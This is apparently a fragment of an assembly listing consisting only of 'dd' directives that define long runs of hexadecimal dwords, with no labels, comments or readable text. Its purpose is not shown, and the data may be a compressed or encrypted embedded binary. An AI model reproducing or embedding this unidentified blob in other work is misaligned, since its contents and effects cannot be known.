		dd 17C45Ah, 573A8891h, 0F5EC3723h, 0D9144800h, 0E9222E87h
		dd 0B0330047h, 0D42573DFh, 891F60B4h, 88024C8h,	0F9829632h
		dd 0A4055CE8h, 68B43100h, 0B6539D2Ch, 2DD20B00h, 87EC985Dh
		dd 0B8CF09F6h, 5800B9E1h, 0BD8A2142h, 60273B00h, 6B54B3BBh
		dd 0FDA80026h, 44287243h, 1A00813Fh, 0E51E3D3Ch, 9CDA32h
		dd 10F3EF06h, 60D4366Fh, 8854400Eh, 0AD04C0C1h,	26E386EDh
		dd 88B6B1h, 1B056E20h, 87000BC0h, 99040E36h, 1C2E5A6h
		dd 4AAEDD29h, 0E4F4C5E0h, 6E008E27h, 0A475AB77h, 0C49C83h
		dd 0ADFCDAAh, 0FC2073Eh, 2803CA90h, 7663E4F0h, 0E4A88DAh
		dd 8BD002Ch, 309E5ABBh,	0C0002B57h, 0F0AA9D69h,	0EC4CC11h
		dd 4693DC62h, 15FD4E40h, 4000592h, 0EE736625h, 50A319h
		dd 0C342214Bh, 0E47F1F70h, 0C780640Fh, 60B9AF33h, 0EC38FCD2h
		dd 0C1FF00B4h, 0F73A1072h, 1901D07Dh, 0F1BB1C8Fh, 0D1C002C0h
		dd 4DF92584h, 770000DCh, 0B10460E3h, 0BD7D5853h, 11985200h
		dd 1AA5F1A7h, 5CC3DB00h, 7EACF99h, 647F0A6Bh, 5BE36C1h
		dd 56AD0CEh, 0FA291091h, 98F3D280h, 0C3201D16h,	7F8404Eh
		dd 6951B71h, 380623Ah, 0AB47F693h, 3CA5F878h, 7705016Fh
		dd 8C253BACh, 0F0CBF946h, 13036C9Eh, 8D52D408h,	812EB0FBh
		dd 6B1F4C1Eh, 78146603h, 4FD8EBDDh, 0DA00BD4Bh,	779E918Eh
		dd 0BF9FC5h, 3E5C8528h,	611C9A1Dh, 0F30106F2h, 900F132Eh
		dd 33D0B05Eh, 6F78DFh, 16CA858Ah, 377EA46Dh, 0EE2CD1Dh
		dd 0D4DFEBC0h, 859D3Ah,	21F60787h, 0A27FBE16h, 8E24A800h
		dd 0CCAA364Bh, 0BA97000Dh, 10E57552h, 41010616h, 0FE670AEDh
		dd 0C07FD62Ch, 0A9F0C18Eh, 10298C00h, 4D5A24EEh, 0B2CB0099h
		dd 7887FE5Ch, 0C7E065F0h, 8300BF7Fh, 516DDF75h,	56AD8h
		dd 215C3467h, 0B2292F5Ah, 0AC3A8F1Ch, 0C3163980h, 2CBAF9Fh
		dd 0FBEC9D7h, 6F405DAAh, 0BA1E1876h, 94DFEF17h,	6600AC97h
		dd 0D1291523h, 386EE297h, 0E6AE3AF3h, 0C04A011Bh, 0ECD0F29Fh
		dd 850304A0h, 5797F0C6h, 3F6D0C9h, 4C130089h, 10221238h
		dd 0C700CF79h, 5C869E1Ah, 719188E8h, 8CE6B4h, 1104808Dh
		dd 532430D5h, 0A16D6207h
		dd 2EE0C0B0h, 70F676h, 0D64E26A6h, 0EC787175h, 3E143A00h
		dd 0C2CE4D49h, 189D0007h, 0EE54D44Bh, 0AA006FC5h, 105BEDA0h
		dd 3D0648h, 0F8FFD58Dh,	0C5E45AF5h, 1C43EC00h, 9442B084h
		dd 6EF6007Fh, 7C6A3211h, 9F755173h, 4CEC4100h, 9B4BBAA1h
		dd 16D5185Ah, 6E3B9071h, 8174FC00h, 8544AFD2h, 52250099h
		dd 91BEE6F2h, 5A00FD6Fh, 9C33211Ch, 55F7E1h, 7883D5A8h
		dd 0B6BED08Ch, 27034001h, 6C86C54Ch, 63C2C8h, 6A82B39Eh
		dd 6E5883CAh, 0C589DD50h, 85BBA807h, 7A20A52Bh,	0D40CFFh
		dd 26364831h, 46FAD1DEh, 35978500h, 16517A5Bh, 31020077h
		dd 0C21A6AF1h, 9B00D54Eh, 887426D3h, 3B0F5907h,	1280B8EAh
		dd 37C10148h, 0F3008B7Dh, 534C6AC2h, 1F30944Fh,	8F24915Eh
		dd 87E04DB9h, 0FF94ECBh, 16899800h, 776A26AAh, 79C70706h
		dd 703591D1h, 6C20BBE7h, 1009875h, 4D4BFAF6h, 0ECD805FEh
		dd 0B1EF01B6h, 210D5227h, 2474D065h, 51076200h,	5BA29CB3h
		dd 1DBF0067h, 3C88CBD4h, 0A3001F99h, 4407E824h,	0F022BBAh
		dd 0FCD38C7Eh, 4AA0848Fh, 581C979Ah, 8F8DA43Ah,	0E030597Fh
		dd 0B18A873Bh, 62FEBAh,	12E399BEh, 58A85A1Bh, 6AD28900h
		dd 33B05185h, 6EAE01B1h, 0F5B814D0h, 0C26FE0EEh, 0D43D191Fh
		dd 8B041F00h, 3AB7BB17h, 0EC808E8Ch, 0CD99B05Ch, 0FC7AB840h
		dd 0FD007BE8h, 757E1528h, 4AFFADh, 6D1B2F22h, 0FE4E48C2h
		dd 72B02500h, 0BC6EDC04h, 824400B7h, 0B811B4CAh, 0CC00A6C7h
		dd 0CDADF750h, 1803F5h,	62ACB9A3h, 99AAE82Bh, 0C6DB6E03h
		dd 0E83FAD11h, 0F387E63h, 0C8C7513Ch, 1A2EE640h, 0A7007201h
		dd 0CFCC6D92h, 70EA1419h, 978B0012h, 0F32D204h,	0D9E0BC5Ah
		dd 2FEE6E1Dh, 7615481h,	0C0E8454Bh, 0BF6B0EF9h,	5D804A99h
		dd 0EDD13DFCh, 7BB8C201h, 0BECBB08Eh, 7A0F25ECh, 0C1060050h
		dd 78A9E822h, 0A60FEF1Ch, 20C40205h, 9FCDEC13h,	42D707C2h
		dd 30787A1Eh, 0DD45264Eh, 6D8C740Eh, 6EBFC0BDh,	965C69h
		dd 5F3B393Eh, 792B1E51h, 57EC1A03h, 0E1E663A1h,	0CFC7502h
		dd 8E430065h, 0C4DBC6D0h, 28003376h, 951A154Dh,	1D6DD0Fh
		dd 185CA843h, 0DC01B3C0h, 130004F9h, 1203CE78h,	2AE3B9h
		dd 22D94C67h, 0FBD28F88h, 0D0714D00h, 8185B826h, 19BC0090h
		dd 0ABDE43A5h, 0BE004BDCh, 69F25F71h, 4C8EA2h, 0BA1C27DBh
		dd 21ABF1F6h, 940948h, 28FC828Fh, 0BA7B3h, 2B42DE14h, 0A1122DBCh
		dd 0D80013F8h, 49C998AEh, 7AAB7A9Ch, 0CBD0095h,	0CF16AC74h
		dd 5500C0B1h, 99D4DE10h, 1CFE98C2h, 0C01A200Eh,	1B651E56h
		dd 0A30013A2h, 53DDE6B7h, 7249F2h, 8FBA9152h, 0FF8ED751h
		dd 0FF0B693Eh, 183A20Fh, 0D108C076h, 1FB64F57h,	0E4CE5Eh
		dd 0AB50E55Bh, 5C001C31h, 0AF478735h, 0A0EFD0h,	0BF0B9529h
		dd 9DE637A3h, 0DB061B04h, 8FC03E94h, 225B68h, 8478E31h
		dd 59499C6Ch, 85399500h, 0F76952DBh, 242700FBh,	82338764h
		dd 0D817A3B7h, 5200026Fh, 852E6752h, 0A57D0076h, 8EF3C87Eh
		dd 0D001EB6Bh, 0E008AF1Bh, 9C6005B3h, 8DC001B6h, 0CDA17F7Ah
		dd 1F6AF84Eh, 0D6AC2400h, 108B9CF8h, 5A704Bh, 0E2329709h
		dd 273F9587h, 2D29B11Eh, 0AAB72040h, 61FF40h, 0C8833DDEh
		dd 41A5228h, 0BAFEDDECh, 0CA00B97Ch, 0A58EC005h, 9C4FD65h
		dd 0AA55BE7Ch, 639FB480h, 0FE0030BDh, 1BF34207h, 1CB10AE6h
		dd 80249B86h, 1DA454D8h, 27009A06h, 5E5A022Dh, 7D57109Ch
		dd 8CC33E64h, 0D8116280h, 82ACAFD7h, 4FFA4700h,	488493F6h
		dd 7D287FE4h, 7E037F91h, 0C1B0160Fh, 9CFD40C8h,	7FDF3A13h
		dd 4E365B00h, 0CF969B5Fh, 8D4000DAh, 0EA7D2934h, 10061DFh
		dd 452B9A2h, 15938Fh, 71121E8Ch, 0B7279F43h, 0BDF53D00h
		dd 0D384784Dh, 83F2008Bh, 0EAF3F4ADh, 0EB00428Eh, 0D7015875h
		dd 0B6A597h, 0AF2C7782h, 71E6B23h, 1004A660h, 0E61B5567h
		dd 0F7D84C37h, 4B26B307h, 4679E06Bh, 9900F954h,	0B9AFC58Fh
		dd 25CE74h, 0BEE7EF05h,	0A0C629D4h, 9B228A1Ch, 0B1AEE4C0h
		dd 0B6A979h, 7FE69D2Eh,	8291CB6Dh, 17CDC800h, 0D14AFBD4h
		dd 0A4EC1647h, 3A6FF097h, 3C079AB8h, 0EAA7FF11h, 176DCE80h
		dd 4336008Dh, 2E22BC6Ch, 1C00A40Ah, 5B395DA0h, 0F841FF6h
		dd 0BF62D5D0h, 0B17543C0h, 0F90F2945h, 433C3A25h, 0B015077Dh
		dd 5C1F2Bh, 5905611Ah, 1C30D99h, 41DD341Eh, 203A064Fh
		dd 63747DDBh, 9CF68Ah, 32BD0427h, 0F4F21AFDh, 2096C500h
		dd 0B8711765h, 5E750089h, 0F59DBD61h, 0E7058E62h, 0CCC09E77h
		dd 4B148A80h, 0AF483ADAh, 7339C680h, 662635F5h,	0EB798300h
		dd 4870C0BCh, 0D7A4018Ch, 68542356h, 0AA623063h, 12CF1000h
		dd 2B25B694h, 0C7800045h, 0C2099336h, 0E6162767h, 0F00088A1h
		dd 0E3977BEh, 0DB8D005Ch, 0CE268147h, 9801EB56h, 0BBBAF940h
		dd 0D5C442E0h, 1F82E86Ah, 0C097ADEFh, 2FB9E23Ah, 6603998Ah
		dd 0DB2C7348h, 90CCFBF5h, 3EE9A5FBh, 4F802912h,	0CBDFE48Dh
		dd 0D7000772h, 436C925Dh, 1125FAh, 203C87B3h, 0F6D361E2h
		dd 4D076D72h, 4C7DE073h, 0B14FE110h, 0E68D580Bh, 80A56300h
		dd 7B3CA6B6h, 3D5E203Bh, 22AA0035h, 7E318FDAh, 0EAC00D2h
		dd 39977989h, 2A0026D9h, 0E79A0310h, 0C94C5Fh, 99203898h
		dd 6176A671h, 3CDC1100h, 6EAFBF65h, 0B6C7078Ch,	0A14F2263h
		dd 0D4D5F407h, 0D01E2EDBh, 8C00CA78h, 0E9735F0h, 916501B5h
		dd 0B88F8D37h, 2287E057h, 4E30C500h, 0D2AA71C8h, 0DA0C0126h
		dd 0B7DF2D6Fh, 5006DC79h, 80A77A3Ch, 0EB75B582h, 56CB58h
		dd 3F4C28BFh, 0B272F1C1h, 460086FCh, 0F7B9B3EDh, 83075h
		dd 0E7EA8AD0h, 9493CC92h, 5C3904ECh, 0D038005h,	0A73F47C6h
		dd 6B0F03B4h, 2B0E8CD8h, 0A17350CFh, 2800C7F9h,	6584A67Fh
		dd 732859Eh, 4D786897h,	0B48CA09Bh, 3500AAD4h, 6571822Eh
		dd 0B37AC7h, 0B89E5A81h, 0DA5B30C8h, 0FCAFD800h, 1267E208h
		dd 25A1001Ah, 621B52CAh, 9600A42Fh, 977CECC7h, 1F9F80B3h
		dd 4E4F70F8h, 8FDC39B4h, 55C0234Eh, 0C4AE8CA1h,	800E273h
		dd 5E8A506h, 0E2DB572Fh, 3C0E7825h, 0E380C442h,	0A2AD2D4h
		dd 0F30067B2h, 5D962BECh, 7920B3h, 0A17B238Ch, 143CE82Eh
		dd 0AEF0C300h, 53FB52F3h, 457934h, 678EFFDh, 87E99EB7h
		dd 14D29600h, 0AAAFA726h, 1B4D00D9h, 0E45605A0h, 0EB00E3B8h
		dd 3EE7B90Ah, 0CE82F7h,	2572AED5h, 0F38E6643h, 191D9107h
		dd 8190E915h, 738D75Eh,	0A98AC7A1h, 4067474Ch, 120709B8h
		dd 23E93000h, 8F446480h, 0F24E00E8h, 0FFB86736h, 0D5B00D04h
		dd 6156D200h, 3A956310h, 98E30052h, 2DCC3B65h, 352475DDh
		dd 130008F8h, 0BE155490h, 6B5B0366h, 0EF88CB2Ch, 0E8BA84B9h
		dd 2B01DA7Eh, 0E8E355C2h, 0E5C09A7Bh, 2CD200F0h, 0B97A3B9Dh
		dd 26005781h, 66D11BE4h, 7060E02h, 0CC93B6F1h, 0BC9C705Ch
		dd 8900ED9Fh, 2AF5237h,	80B260h, 8E458C0Bh, 6EDA51A0h
		dd 0E1F05800h, 0C6D5FEAFh, 0C01D1ED2h, 0E4F900F1h, 1952B6D1h
		dd 0A75F1B00h, 6E255C54h, 9D7901FAh, 307EE003h,	0F663DC05h
		dd 0F3213A0Fh, 400F60A7h, 4188C0h, 77361ED0h, 4299BB3h
		dd 731B3C00h, 71AD2232h, 8FB70C63h, 90887965h, 8ECB3600h
		dd 0CDABD44Bh, 0E49900A5h, 40309E7Eh, 0D8004774h, 61C132EFh
		dd 300F04CAh, 7D46B626h, 8100BE72h, 4A0BE7B5h, 29D295h
		dd 70EF6E0Ah
		dd 0B63352E6h, 5A002476h, 94817149h, 41B742h, 0DEC57719h
		dd 0C80AD893h, 16597000h, 7BA4DA8Ah, 0F9092417h, 0A714002Ah
		dd 3F4F45B8h, 0B5958B02h, 0C0C3AD4Ch, 3352EEBh,	0EA1C77Ch
		dd 0DF80C25Fh, 2B002190h, 0BCD18914h, 0F77831Dh, 2368E8A4h
		dd 40632C60h, 0AB001CE1h, 62BA5AAFh, 7A32815h, 395EB061h
		dd 1620FE27h, 1EA5E54Fh, 305D9800h, 0FF61B891h,	0F52400A0h
		dd 15686228h, 0DE1EFED6h, 97C1069Bh, 0A8ABA26Bh, 2E41A3D0h
		dd 4DDE7CBh, 80AA2B16h,	29967DBCh, 0B3F31701h, 46817E70h
		dd 6647DCh, 28506FC7h, 5A3D7591h, 52B1000h, 401767BEh
		dd 0D48700B0h, 1CCBD9Ch, 901C7051h, 26C06B38h, 9E19D1A2h
		dd 77750EE7h, 0EE26E09h, 0BD60BF3Bh, 5F00F2D3h,	611E850Bh
		dd 1E238AA8h, 0B45D71Ah, 0A280B371h, 4A3E7BF4h,	8BFCD000h
		dd 8A08F87Dh, 0EF830E29h, 316F94A2h, 8632D440h,	0AC00BF23h
		dd 0FBD31F3Fh, 7717624h, 4BC88FD8h, 4F4A003Dh, 0CA00E6C5h
		dd 6C067B45h, 3D23962h,	341F9611h, 3AB0E072h, 2200F35Dh
		dd 0B8A5D975h, 4C41C018h, 0AA3B52A1h, 29DC0680h, 6F378EE6h
		dd 57740D00h, 0DBDA9EAFh, 462D0ED7h, 422317ADh,	0A1DFE03h
		dd 69807CFAh, 4C09D5B4h, 245072B7h, 0E78A78h, 46F1C4C2h
		dd 0D32C0D1Dh, 2E00BAF7h, 42F43E7Ah, 0AF2A008Fh, 0DFB3F868h
		dd 0B0033403h, 0B453FF18h, 0D52E9093h, 0C8E667h, 0BCA7C63h
		dd 0F7110AF0h, 0D921FF00h, 0BE9536ABh, 434D00ECh, 57B2DC7Bh
		dd 4F00693Eh, 67069E3Bh, 0AF4A93h, 48380F33h, 0ACF60DA4h
		dd 0CD228600h, 28F30C77h, 0B4901CFDh, 2C1B80A0h, 0BEA9DE79h
		dd 682E0F01h, 0DC61190Dh, 1D4034E8h, 8046D6BCh,	24525756h
		dd 1901449Ah, 0C8A49BA1h, 0BDF516F9h, 0C6FECCh,	3E2794EEh
		dd 290BC87h, 7A592B00h,	1C57D88h, 53BD001Ch, 7C6A3F72h
		dd 970091CEh, 0F51158A5h, 0F80985F1h, 2B7C2Dh, 313D6B1Fh
		dd 0A3FF3A23h, 4B648917h, 5361A500h, 1DE1151Eh,	8002E749h
		dd 9BC557F4h, 271F3EEDh, 0F780BC96h, 59206710h,	2B460FACh
		dd 2ACE1152h, 0D87EEDA0h, 3A009D95h, 84F28845h,	0E8B2CDh
		dd 0EA2874D2h, 6586D1FBh, 45E2570Fh, 0F29EBF5h,	9CF2005Ch
		dd 7215CFD5h, 0D3095CA7h, 0C0EDF31Ch, 0E0DB8B5Ch, 87030F9Bh
		dd 0B00D20ADh, 0F740C794h, 1DC5785Fh, 8045D0EBh, 0B31DFE67h
		dd 750420C8h, 59713851h, 81D00387h, 0F6A8B841h,	0EF2F1748h
		dd 6FE5C04Eh, 0E8E06BA4h, 22EB9F00h, 0BCD448D2h, 0F3890088h
		dd 256C8B7h, 0BA903CC5h, 0FB1F9A00h, 0A7B9267Ch, 0DAB41FEBh
		dd 63FC081h, 438D8E76h,	3D39A200h, 0CFE55F79h, 862C39EFh
		dd 8C1EA483h, 37D70DA1h, 538470A0h, 245C76B7h, 291B00C0h
		dd 6B14F2C0h, 0D2E400F6h, 972B3921h, 1E003AB0h,	0DD4990BEh
		dd 0B806FCh, 515E706Dh,	59C4AB82h, 2C753700h, 5F9041F0h
		dd 564400BFh, 9EB38D98h, 0EE768B84h, 3D61AF00h,	1D16E847h
		dd 0FD0807C4h, 2B7E7493h, 89F15E83h, 0D1AF9EF3h, 0D051C6A4h
		dd 3B0A57B6h, 0B3BA4E06h, 94DE800Ah, 0ECAAD307h, 6CC4B534h
		dd 127AC01h, 137F3C56h,	905200F5h, 0B2662F2h, 6DA19D00h
		dd 5907188Eh, 0D09DA3F1h, 0E97D02h, 0B1351365h,	0ACE92F6h
		dd 825C4A00h, 9A2FA82Bh, 133D3BF5h, 0A6588703h,	0A580F4D6h
		dd 3000D0F1h, 6E3E0C0Ah, 179232Bh, 12377B29h, 0E47573D7h
		dd 1F003AD9h, 0FBAAB652h, 51BFC5h, 0E9483933h, 174E9F2Dh
		dd 0E64C8300h, 8A71B4C7h, 0FF380042h, 72083992h, 0BE07ABDFh
		dd 79A1E3C6h, 6A0DDBD0h, 0E6760069h, 0F8FDF6F4h, 9100E5B1h
		dd 8EA77FB6h, 0EC37B0h,	61AABC49h, 0F01F051Dh, 0B6552524h
		dd 4CC33800h, 2902672h,	5A19E751h, 9B8067CBh, 0FEACC2D6h
		dd 66009CE0h, 0F67EAECFh, 124D1Dh, 0F1D26A26h, 0B4C5D86h
		dd 0B6881405h, 71C08DC3h, 16EA6B3h, 0A8ACBAB7h,	70E9F407h
		dd 1D04DCF2h, 0A3802DC1h, 2917CFC0h, 0F26403B2h, 0CCD0B09Dh
		dd 0C4747097h, 9009339h, 0ED4296F7h, 0AEB3E73h,	845E05E8h
		dd 0D2A3009Ah, 34E97EC6h, 90148000h, 0F8593DEDh, 93BA00A4h
		dd 66BB9E6Dh, 4AF82939h, 7EC49600h, 8EA680F2h, 0B6D90FC1h
		dd 981FB58Ch, 446A08EDh, 61542C00h, 0F7306662h,	0CE7D2CE2h
		dd 78330314h, 0EAC81288h, 1501208Fh, 60AA6A2Dh,	6BFC23B1h
		dd 32A40262h, 294B761Ch, 28929EC0h, 0ECA6009h, 6EA0000Fh
		dd 0AD804Ch, 0F8E7D9B0h, 5E12A282h, 0F4B49F00h,	0AAE51C59h
		dd 244E0F1h, 5FDF54CFh,	28C00FD3h, 70048B3h, 950A0253h
		dd 70B8DEAh, 0E7F01526h, 8B92068h, 9B007C7Ah, 3943B2FEh
		dd 84E325h, 0EAFF0C95h,	27716BC3h, 47A22000h, 422BFC24h
		dd 0EFD30E61h, 9A40F614h, 172D91C9h, 479948h, 0E13A3DA8h
		dd 0E8310C5h, 0E07735F1h, 3117A920h, 0E20080C6h, 10D67108h
		dd 60DF8D30h, 0BED526D7h, 0D03B7274h, 98B865h, 0E0808273h
		dd 0B9CDD6h, 4934F002h,	0BEF94AC7h, 0E83B8400h,	5A6F387Fh
		dd 275C0FF7h, 0ABEED976h, 9863BB40h, 7534F58Ch,	13C0D60Ah
		dd 10AD90h, 1450C5CAh, 417CF895h, 38E8F239h, 6BF98068h
		dd 65A0E6CFh, 0DF5F00A1h, 0CC0BC945h, 9D071B94h, 87BCFB83h
		dd 33462B40h, 0A78B03B8h, 2506284Eh, 14B69EF8h,	8EE7011Eh
		dd 0B2015FA6h, 0DA155D05h, 0C6D1E8h, 7060E4B6h,	0E5961094h
		dd 4B9E9902h, 0C0DFA71Ah, 7DE9044Eh, 8772246Bh,	0E003885h
		dd 9CE8BF8Ah, 0B03EFE8Dh, 0DC0D00BCh, 0B19EDE19h, 0E2A2B013h
		dd 10C40072h, 5CE5ADCFh, 0B8005085h, 0C9644D30h, 3D642D8h
		dd 1A0F887Ch, 0B9C8C146h, 0FC005E69h, 68210581h, 7C64A2D1h
		dd 0C123B61h, 6B35DE80h, 3A7BAC7Eh, 87D7B600h, 0CD2A931Ch
		dd 0E3A948EDh, 262D017Eh, 9B554A9Dh, 0A7CF40A3h, 5F3B46B9h
		dd 8CA8018h, 2144AAB8h,	0A2120548h, 8011175Ch, 0DB523A7Ah
		dd 95DC3103h, 0DB5E2242h, 4E19F15Fh, 3579DD0h, 6DAF9732h
		dd 0CB80613Fh, 4700916Ch, 9B1C3A54h, 0EE569FF4h, 38FEC48h
		dd 0D9451418h, 3EE0F7AFh, 25ECB6B4h, 51795B00h,	314B1240h
		dd 9DA005Dh, 1EA8338h, 3A001897h, 139ED81Ah, 862B30h, 0BB76D128h
		dd 0B8485219h, 8E6B2300h, 0FEEAE65Dh, 328F006Fh, 5EB77BABh
		dd 7FCC2A4h, 703C4900h,	0A8A9DD4h, 0C0FB0158h, 0DE0BA652h
		dd 396170C1h, 56F3AB00h, 23EDDC4Ch, 0F5020064h,	44317FBFh
		dd 29008B95h, 5841EC4Bh, 0A0C9C193h, 4D09BFh, 7C79E94Ah
		dd 5019B6D7h, 82328D00h, 0CF4884C7h, 54125846h,	358F4101h
		dd 605C4B88h, 0F500FC1Ah, 8933C411h, 0CDFB76h, 71B2F645h
		dd 0A150B57h, 0E6B19400h, 0D3FD8299h, 31EF00A6h, 0D45C661Ah
		dd 411E24B5h, 0CB00DAECh, 134E64CFh, 0F8E60052h, 60E7915Eh
		dd 8A01A97Bh, 0A83E2DE0h, 2AF8D8A6h, 8CE607B3h,	700AD146h
		dd 30F8637h, 0A397CE01h, 83DDE705h, 0B902F0h, 9F91DA0h
		dd 60C6F43Ah, 0BB9CFE00h, 37628186h, 6050027h, 2BE46942h
		dd 0F200655Ch, 6D3EFA3Dh, 0F5756A22h, 1DE8D4FDh, 661E00E8h
		dd 65F5DCAAh, 363DA43Fh, 0A5308064h, 0D05E8DF7h, 0EBF2001Dh
		dd 46D9983Eh, 9DFCBD0Eh, 0BE405200h, 0E0394FB1h, 6D4A00E5h
		dd 72CEA755h, 5A009054h, 67DA07C7h, 1FAB6BFBh, 8B30E5h
		dd 5189F932h, 2D00CFE6h, 0BFF2BAD2h, 0B0FC3CBDh, 0FCEEF4A1h
		dd 822E0001h, 735726E4h, 6B3DD7DCh, 88DF001Ah, 3ACB1CC6h
		dd 2D390081h
		dd 0CDAA7FC4h, 63007DBEh, 97F45838h, 0A0160A14h, 73BE1F7h
		dd 96936F86h, 2467F071h, 3D3F2C21h, 29E051Eh, 5BB05706h
		dd 740D07E0h, 90986D22h, 9FF691A6h, 49681701h, 0A06A348Ch
		dd 0E08631D4h, 18D600C8h, 24A84B7Eh, 0E407F86Fh, 5AD19C5Ch
		dd 0B81622D0h, 0BE331FBAh, 29FC004h, 432D03ABh,	7CE84100h
		dd 44D38030h, 0C06E0025h, 78D55431h, 0B900796Ah, 77C45DFEh
		dd 0FA26AAh, 5A383CDBh,	8D593093h, 0C54F9400h, 58A590CEh
		dd 0DDE279h, 0D942E6D5h, 94828A04h, 891EE579h, 7E40137Bh
		dd 2E1FCE4h, 6FC300FAh,	6463444Fh, 47000D3Bh, 0FC3D0410h
		dd 4CF5B2h, 0A57169CCh,	295E32D2h, 142B9F00h, 0B690CFF8h
		dd 2C9400BCh, 1E96AE98h, 810FE369h, 0E0CC9FF9h,	7663CDDBh
		dd 0A89A00D6h, 0B58553CEh, 0F800050Ch, 0BD32FBFh, 6E3A39h
		dd 7DADB012h, 2D7516C9h, 0F651C3Dh, 0C0135F5Ch,	49019DCCh
		dd 4FD21D0Fh, 51803FA0h, 0DF3EE46Ah, 0DBFC6D04h, 9C9B3804h
		dd 7CC0D9C0h, 10E3F67h,	0C8A07A93h, 0D1131D10h,	8B3CD49Ch
		dd 0D8A91100h, 34EDE4C7h, 0B30E1EADh, 806F9D4Eh, 9CDC747Fh
		dd 4603605Dh, 0C9448FF3h, 0A8FB90B9h, 0F167C36h, 31138C7Ch
		dd 438E3CE0h, 513EC0F7h, 0DC18005Dh, 6D154BBDh,	0CE04006Bh
		dd 52CB598Eh, 42003FC4h, 0AD9ED53h, 1EEB1369h, 924485h
		dd 81CD48D3h, 15E290A1h, 0E3C873Eh, 0E3ABFF1Bh,	0F85BA0F2h
		dd 265C4751h, 34DDE8h, 8CB1F821h, 69006F09h, 636C7168h
		dd 467C72h, 1D362D9Ah, 0BA3AB34Eh, 0CF618401h, 0FF7E5DE7h
		dd 0F47023D5h, 2F5500A2h, 528F2679h, 19018112h,	4A676B85h
		dd 2F302B5Bh, 0C8353B2Fh, 0C72E181h, 206C18FEh,	9A763A6Eh
		dd 7C64B700h, 0D5A7CA36h, 0B12C001Ch, 0A95B6D2Bh, 2F03AF60h
		dd 5DFAA11Bh, 2A5B8BCh,	0C47E0508h, 0C07D1D5Ch,	0EA0E348Ch
		dd 68350A00h, 0B6552B6Fh, 0CA6300A3h, 9D6E9081h, 20005A6Ah
		dd 70F9420Eh, 311B5CC2h, 553A230Ah, 9D9E8FAh, 98008A7Bh
		dd 0C9A97FB2h, 4F3B5Ch,	29A359FCh, 37069D4Ch, 0BDE81C0Fh
		dd 0DA19A0A9h, 0F381ADh, 594DAA0Ah, 3E828668h, 0CD7A5C01h
		dd 1109C03Ah, 9F6D35F8h, 4EE2B8C0h, 0F4B658h, 0DA42C138h
		dd 7A6A4Dh, 44870C0Ah, 25C212ABh, 0B8B4B303h, 1CE0F8h
		dd 0FE46AFB0h, 9E77C923h, 8D65E600h, 0DF1003DDh, 369A00AEh
		dd 266F5E06h, 380F400Dh, 20D3BD49h, 0E0FE58A3h,	44A800C1h
		dd 4B6E9EB6h, 3C00A522h, 1EC311C9h, 3A6284h, 1BBC7C67h
		dd 0B1AE2CB5h, 5C7F6601h, 0C78AF37Dh, 71912FCCh, 0E6BD007Bh
		dd 0E15EE238h, 4500E96Bh, 0A5D3CE19h, 3A32FBFFh, 0A880EABAh
		dd 0AA76EF4Dh, 2D002C88h, 30CF5998h, 1CC19E0Fh,	40D135DAh
		dd 0FAC9E616h, 630F4F7Ah, 0A033EB24h, 0B69BFD0Eh, 3EA672ABh
		dd 0AE80BD6Eh, 18AC36F0h, 6406E219h, 60CC2E08h,	51930028h
		dd 0AD384A89h, 41B88604h, 8A485A00h, 9DB5E5B2h,	0D5DA00C3h
		dd 6C996409h, 0FA000D7Ah, 92F7B720h, 0B19EB37h,	8B9CF92Ah
		dd 2E00BE8Fh, 0B921C4AFh, 0F4B45800h, 3B028C05h, 0BDF893h
		dd 0B5F2EB15h, 0D0E22663h, 0A65F2EC0h, 563FD6h,	9B667284h
		dd 52EF1CC3h, 0C00089E4h, 0BD73BEEh, 0B2042Dh, 0F43F20Ah
		dd 0B322690Dh, 2BBA0200h, 0FCC9E3E8h, 0B0F90E9Ch, 0DD00484Fh
		dd 281C640Eh, 0B400BBE8h, 0D45F66A2h, 11B7F9Eh,	0C5A03E49h
		dd 0D84810BDh, 8F00631Dh, 7BCC908Dh, 142C278h, 0BE16B30Ah
		dd 0F86C4671h, 4900C5D4h, 77348BBFh, 89CDC7h, 56019E98h
		dd 2EE95B29h, 0E3382300h, 0CC859F54h, 943B00FCh, 6513F21Bh
		dd 521DAF36h, 0A4417DE9h, 0DE1DB574h, 924CC03Eh, 3A0038A2h
		dd 0F934B601h, 0E4949CE1h, 7D021D6Fh, 8ABC00E6h, 345EE51Ah
		dd 0B705B600h, 0DCE0CD12h, 0F5BE0F97h, 0F44F51F2h, 78F86E0h
		dd 8E0F1235h, 323E2BEBh, 0A777A500h, 1AABBEh, 15C86A1Eh
		dd 0B66C4F96h, 0A568F901h, 5A480770h, 0F893D3D7h, 6FC1C2h
		dd 391CC9A7h, 0D724C67Ah, 385D0800h, 78171B80h,	0C95F01F9h
		dd 1CA84049h, 0FA05D0B1h, 46589B01h, 0F1EB6745h, 6CD8F0h
		dd 2B93A10Ah, 0EC5B6036h, 103ABA00h, 2614EF18h,	0A6D201F7h
		dd 164D8051h, 0ED0AC002h, 0CD18E800h, 0B65A0C54h, 0A8861E47h
		dd 13148479h, 0E02987DDh, 7E361B1Ah, 31F2E200h,	4F76BFADh
		dd 688A0393h, 6AEB2F0Ch, 0D5975A90h, 2E383F60h,	78C0E84h
		dd 4BD46616h, 9333C075h, 0C3E0407h, 0E43EF38Fh,	4C468087h
		dd 0B1F0A3FCh, 801024F3h, 34740042h, 952C6905h,	0A198A200h
		dd 1D4EC659h, 6421121Ah, 470A000Ah, 0C90CB654h,	0A37C0913h
		dd 1D561F00h, 8DDFACh, 0E34C6240h, 2D860ECFh, 0F4B27A00h
		dd 28ACC321h, 41D000D8h, 0A7422A0Ah, 0F3030BC4h, 5D591347h
		dd 1997C87Dh, 29AC074Bh, 11E84C88h, 0F47A1BC9h,	93000BA3h
		dd 4F822154h, 0FAC1614h, 8EAAF565h, 6760AEEFh, 2B40D93h
		dd 47F48C00h, 0BF625573h, 6EB700D1h, 4A42D2EAh,	0E0223ADh
		dd 0CEF251D8h, 3BEEE09Ah, 85D50F7Ah, 868EA74Dh,	0B0AE53C0h
		dd 0A00ABB3h, 0DC619F97h, 31FC63h, 1F0FE1C1h, 9B75E0A7h
		dd 38F7B3Eh, 9A2BD0A0h,	0A290F7F3h, 0F1B9BFh, 0B881FA1Ah
		dd 19B75E7Fh, 0ECC16600h, 44103ED2h, 9BCB006Ch,	0EDF95FCh
		dd 8001B862h, 73ABF1B0h, 16F865CDh, 5F84003Dh, 0BB996C63h
		dd 104BF51h, 0F30A0776h, 42360A81h, 0EC442DDCh,	0B811006Fh
		dd 0A0032A02h, 0DA002B4Ah, 0F7D92534h, 2A68B75h, 1CAEE818h
